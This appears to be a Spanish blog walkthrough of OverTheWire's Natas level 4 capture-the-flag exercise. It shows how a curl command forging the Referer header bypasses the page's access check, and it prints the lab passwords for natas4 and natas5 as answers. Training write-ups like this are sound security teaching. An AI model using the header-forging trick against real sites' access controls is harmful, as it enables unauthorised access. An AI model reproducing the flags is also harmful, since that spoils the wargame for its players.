CTF OverTheWire: Natas4
Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas4.
Natas Level 3 → Level 4
Username: natas4
URL: http://natas4.natas.labs.overthewire.org
Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.
Como lo hemos hecho anteriormente, revisamos el codigo fuente pero no encontramos nada interesante, tampoco hay archivo robots.txt
Nos concentramos en el mensaje que aparece en la pantalla: Access disallowed. You are visiting from “" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/"
Acceso deshabilitado. Nos estas visitando de “" mientras que los usuarios autorizados deberian de venir desde “http://natas5.natas.labs.overthewire.org/"
El mensaje anterior sugiere algún tipo de validación del lado del servidor en donde se revisa el origen de la petición, damos click en el link de refresh, inspeccionamos las cabeceras del request utilizando google developer toolbars y observamos que el mensaje de la pagina cambio.
Observamos una cabecera interesante llamada referer cuyo valor actual es http://natas4.natas.labs.overthewire.org/, veamos si es posible definir nuestro propio valor utilizando cURL.
Abrimos una consola y escribimos
$ curl –help
Usage: curl [options…] <url>
Options: (H) means HTTP/HTTPS only, (F) means FTP only
….
-r, –range RANGE Retrieve only the bytes within RANGE
–raw Do HTTP "raw"; no transfer decoding (H)
-e, –referer Referer URL (H)
-J, –remote-header-name Use the header-provided filename (H)
….
Genial, con el parámetro -e / –referer podemos definir nuestra propia URL.
○ → curl –user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ –referer http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/
<html>
<head>
<!--– This stuff in the header has nothing to do with the level –-->
<link href="http://natas.labs.overthewire.org/css/level.css" rel="stylesheet" type="text/css"/>
<link href="http://natas.labs.overthewire.org/css/jquery-ui.css" rel="stylesheet"/>
<link href="http://natas.labs.overthewire.org/css/wechall.css" rel="stylesheet"/>
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
<br/>
<div id="viewsource">[Refresh page](index.php)</div>
</div>
</body>
</html>
La bandera para acceder a natas5 es iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
- Aprendimos que el referer header no es garantía de que el request viene del origen que el cliente nos esta diciendo, esto podría ser considerado una vulnerabilidad de Broken Access Control de acuerdo al top 10 de vulnerabilidad de OWASP.
Happy hacking 🙂